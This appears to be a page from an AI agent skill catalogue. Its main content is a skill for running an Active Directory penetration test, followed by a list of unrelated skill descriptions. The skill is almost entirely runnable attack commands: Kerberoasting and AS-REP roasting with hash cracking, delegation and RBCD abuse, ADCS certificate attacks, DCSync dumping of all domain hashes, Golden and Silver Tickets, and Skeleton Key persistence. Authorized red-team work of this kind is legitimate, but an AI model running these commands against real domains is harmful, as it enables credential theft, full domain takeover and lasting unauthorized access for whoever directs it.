performing-active-directory-penetration-test
Conduct a focused Active Directory penetration test to enumerate domain objects, discover attack paths with BloodHound, exploit Kerberos weaknesses, escalate privileges via ADCS/DCSync, and demonstrate domain compromise.
What this skill does
# Performing Active Directory Penetration Test ## Overview Active Directory (AD) penetration testing targets the central identity and access management system used by over 95% of Fortune 500 companies. The test identifies misconfigurations, weak credentials, dangerous delegation settings, vulnerable certificate templates, and attack paths that enable an attacker to escalate from a standard domain user to Domain Admin or Enterprise Admin. ## When to Use - When conducting security assessments that involve performing active directory penetration test - When following incident response procedures for related security events - When performing scheduled security testing or auditing activities - When validating security controls through hands-on testing ## Prerequisites - Standard domain user credentials (minimum starting point) - Network access to domain controllers (LDAP/389, Kerberos/88, SMB/445, DNS/53) - Tools: BloodHound, Impacket, Certipy, Rubeus, NetExec, Mimikatz - Kali Linux or Windows attack machine with domain access ## Phase 1 — AD Enumeration ### Domain Information Gathering ```bash # Basic domain enumeration netexec smb 10.0.0.5 -u 'testuser' -p 'Password123' -d corp.local --groups netexec smb 10.0.0.5 -u 'testuser' -p 'Password123' -d corp.local --users # LDAP enumeration — domain controllers ldapsearch -x -H ldap://10.0.0.5 -D "[email protected]" -w "Password123" \ -b "OU=Domain Controllers,DC=corp,DC=local" "(objectClass=computer)" dNSHostName # Enumerate trust relationships netexec smb 10.0.0.5 -u 'testuser' -p 'Password123' --trusts # Enumerate domain password policy netexec smb 10.0.0.5 -u 'testuser' -p 'Password123' --pass-pol # Enumerate Group Policy Objects netexec smb 10.0.0.5 -u 'testuser' -p 'Password123' --gpp-passwords # Find computers with unconstrained delegation ldapsearch -x -H ldap://10.0.0.5 -D "[email protected]" -w "Password123" \ -b "DC=corp,DC=local" "(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=524288))" \ dNSHostName # Find users with constrained delegation ldapsearch -x -H ldap://10.0.0.5 -D "[email protected]" -w "Password123" \ -b "DC=corp,DC=local" "(&(objectCategory=user)(msds-allowedtodelegateto=*))" \ sAMAccountName msds-allowedtodelegateto # Enumerate LAPS netexec ldap 10.0.0.5 -u 'testuser' -p 'Password123' -d corp.local -M laps ``` ### BloodHound Attack Path Analysis ```bash # Collect all BloodHound data bloodhound-python -u 'testuser' -p 'Password123' -d corp.local \ -ns 10.0.0.5 -c all --zip # Alternative: SharpHound from Windows .\SharpHound.exe -c All --zipfilename bloodhound_data.zip # Start BloodHound sudo neo4j start bloodhound --no-sandbox # Key Cypher queries in BloodHound: # - Shortest path to Domain Admin # - Find Kerberoastable users # - Find AS-REP Roastable users # - Find users with DCSync rights # - Find shortest path from owned principals # - Find computers where Domain Users are local admin ``` ### Service Account Discovery ```bash # Find service accounts with SPNs (Kerberoastable) impacket-GetUserSPNs 'corp.local/testuser:Password123' -dc-ip 10.0.0.5 # Find accounts without Kerberos pre-authentication impacket-GetNPUsers 'corp.local/' -usersfile domain_users.txt \ -dc-ip 10.0.0.5 -format hashcat # Find managed service accounts ldapsearch -x -H ldap://10.0.0.5 -D "[email protected]" -w "Password123" \ -b "DC=corp,DC=local" "(objectClass=msDS-GroupManagedServiceAccount)" \ sAMAccountName msDS-GroupMSAMembership ``` ## Phase 2 — Kerberos Attacks ### Kerberoasting ```bash # Extract TGS tickets for service accounts impacket-GetUserSPNs 'corp.local/testuser:Password123' -dc-ip 10.0.0.5 \ -outputfile kerberoast.txt -request # Crack with Hashcat (mode 13100 for Kerberos 5 TGS-REP etype 23) hashcat -m 13100 kerberoast.txt /usr/share/wordlists/rockyou.txt \ -r /usr/share/hashcat/rules/best64.rule --force # Targeted Kerberoasting with Rubeus (Windows) .\Rubeus.exe kerberoast /user:svc_sql /outfile:svc_sql_tgs.txt ``` ### AS-REP Roasting ```bash # Target accounts without pre-authentication impacket-GetNPUsers 'corp.local/' -usersfile users.txt -dc-ip 10.0.0.5 \ -outputfile asrep.txt -format hashcat # Crack AS-REP hashes (mode 18200) hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt ``` ### Kerberos Delegation Attacks ```bash # Unconstrained delegation — extract TGTs from memory # If you compromise a host with unconstrained delegation: .\Rubeus.exe monitor /interval:5 /nowrap # Force authentication from DC using PrinterBug/SpoolSample .\SpoolSample.exe DC01.corp.local YOURHOST.corp.local .\Rubeus.exe ptt /ticket:<base64_ticket> # Constrained delegation — S4U abuse impacket-getST 'corp.local/svc_web:WebPass123' -spn 'CIFS/fileserver.corp.local' \ -dc-ip 10.0.0.5 -impersonate administrator export KRB5CCNAME=administrator.ccache impacket-psexec 'corp.local/[email protected]' -k -no-pass # Resource-Based Constrained Delegation (RBCD) impacket-addcomputer 'corp.local/testuser:Password123' -computer-name 'EVIL$' \ -computer-pass 'EvilPass123' -dc-ip 10.0.0.5 python3 rbcd.py -delegate-to 'TARGET$' -delegate-from 'EVIL$' \ -dc-ip 10.0.0.5 'corp.local/testuser:Password123' impacket-getST 'corp.local/EVIL$:EvilPass123' -spn 'CIFS/target.corp.local' \ -impersonate administrator -dc-ip 10.0.0.5 ``` ## Phase 3 — ADCS (Active Directory Certificate Services) Attacks ```bash # Enumerate ADCS with Certipy certipy find -u '[email protected]' -p 'Password123' -dc-ip 10.0.0.5 \ -vulnerable -stdout # ESC1 — Vulnerable certificate template (enrollee can specify SAN) certipy req -u '[email protected]' -p 'Password123' \ -target ca.corp.local -ca CORP-CA \ -template VulnerableWebServer -upn [email protected] # Authenticate with the certificate certipy auth -pfx administrator.pfx -dc-ip 10.0.0.5 # ESC4 — Template ACL misconfiguration # Modify template to enable ESC1 conditions, then exploit as above # ESC6 — EDITF_ATTRIBUTESUBJECTALTNAME2 flag on CA certipy req -u '[email protected]' -p 'Password123' \ -target ca.corp.local -ca CORP-CA \ -template User -upn [email protected] # ESC8 — NTLM relay to HTTP enrollment endpoint certipy relay -target 'http://ca.corp.local/certsrv/certfnsh.asp' \ -template DomainController ``` ## Phase 4 — Domain Privilege Escalation ### DCSync Attack ```bash # DCSync — extract all domain hashes (requires replication rights) impacket-secretsdump 'corp.local/domainadmin:[email protected]' -just-dc # DCSync specific user impacket-secretsdump 'corp.local/domainadmin:[email protected]' \ -just-dc-user krbtgt # With Mimikatz (Windows) mimikatz# lsadump::dcsync /domain:corp.local /user:krbtgt ``` ### Golden Ticket ```bash # Create Golden Ticket (requires krbtgt hash and domain SID) impacket-ticketer -nthash <krbtgt_nthash> -domain-sid S-1-5-21-... \ -domain corp.local administrator export KRB5CCNAME=administrator.ccache impacket-psexec 'corp.local/[email protected]' -k -no-pass # With Mimikatz mimikatz# kerberos::golden /user:administrator /domain:corp.local \ /sid:S-1-5-21-... /krbtgt:<hash> /ptt ``` ### Silver Ticket ```bash # Create Silver Ticket for specific service impacket-ticketer -nthash <service_nthash> -domain-sid S-1-5-21-... \ -domain corp.local -spn MSSQL/sqlserver.corp.local administrator export KRB5CCNAME=administrator.ccache impacket-mssqlclient 'corp.local/[email protected]' -k -no-pass ``` ## Phase 5 — Persistence Demonstration ```bash # Skeleton Key (inject into LSASS — authorized testing only) mimikatz# privilege::debug mimikatz# misc::skeleton # Now any user can authenticate with "mimikatz" as password # AdminSDHolder persistence # Add controlled user to AdminSDHolder ACL # SDProp process propagates ACL to all protected groups every 60 minutes # SID History injection # Inject Domain Admin SID into low-privilege user's SID history # Document all persistence mechanisms
Related in Code Review
gstack
IncludedFast headless browser for QA testing and site dogfooding. Navigate pages, interact with elements, verify state, diff before/after, take annotated screenshots, test responsive layouts, forms, uploads, dialogs, and capture bug evidence. Use when asked to open or test a site, verify a deployment, dogfood a user flow, or file a bug with screenshots. (gstack)
startup-due-diligence
IncludedLegal due diligence review for seed-stage and Series A startups (US, Delaware C-Corp focus). Supports both investor and founder perspectives. Capabilities include: (1) Interactive document review and issue spotting; (2) Document request list generation; (3) Cap table and SAFE/convertible note analysis; (4) Red flag identification with severity ratings; (5) Diligence report generation. TRIGGERS: due diligence, DD, startup investment, cap table review, Series A, seed round, investor diligence, legal review startup, SAFE analysis, convertible note, 409A, founder vesting.
interview-master
IncludedThis skill should be used when the user asks to "generate interview questions", "prepare for interview", "optimize resume", "conduct mock interview", "analyze git commits for resume", "generate resume from code", "review my resume", or mentions interview preparation, career assistance, or extracting project experience from git history. Provides comprehensive interview and career development guidance for both job seekers and interviewers.
fix-issue
IncludedFixes GitHub issues using parallel analysis agents for root cause investigation, code exploration, and regression detection. Reads issue context from gh CLI, searches codebase and memory for related patterns, generates a fix with tests, and links the resolution back to the issue via PR. Includes prevention analysis to avoid recurrence. Use when debugging errors, resolving regressions, fixing bugs, or triaging issues.
sf-apex
IncludedGenerates and reviews Salesforce Apex code with 150-point scoring. TRIGGER when: user writes, reviews, or fixes Apex classes, triggers, test classes, batch/queueable/schedulable jobs, or touches .cls/.trigger files. DO NOT TRIGGER when: LWC JavaScript (use sf-lwc), Flow XML (use sf-flow), SOQL-only queries (use sf-soql), or non-Salesforce code.
swift-development
IncludedComprehensive Swift development for building, testing, and deploying iOS/macOS applications. Use when Claude needs to: (1) Build Swift packages or Xcode projects from command line, (2) Run tests with XCTest or Swift Testing framework, (3) Manage iOS simulators with simctl, (4) Handle code signing, provisioning profiles, and app distribution, (5) Format or lint Swift code with SwiftFormat/SwiftLint, (6) Work with Swift Package Manager (SPM), (7) Implement Swift 6 concurrency patterns (async/await, actors, Sendable), (8) Create SwiftUI views with MVVM architecture, (9) Set up Core Data or SwiftData persistence, or any other Swift/iOS/macOS development tasks.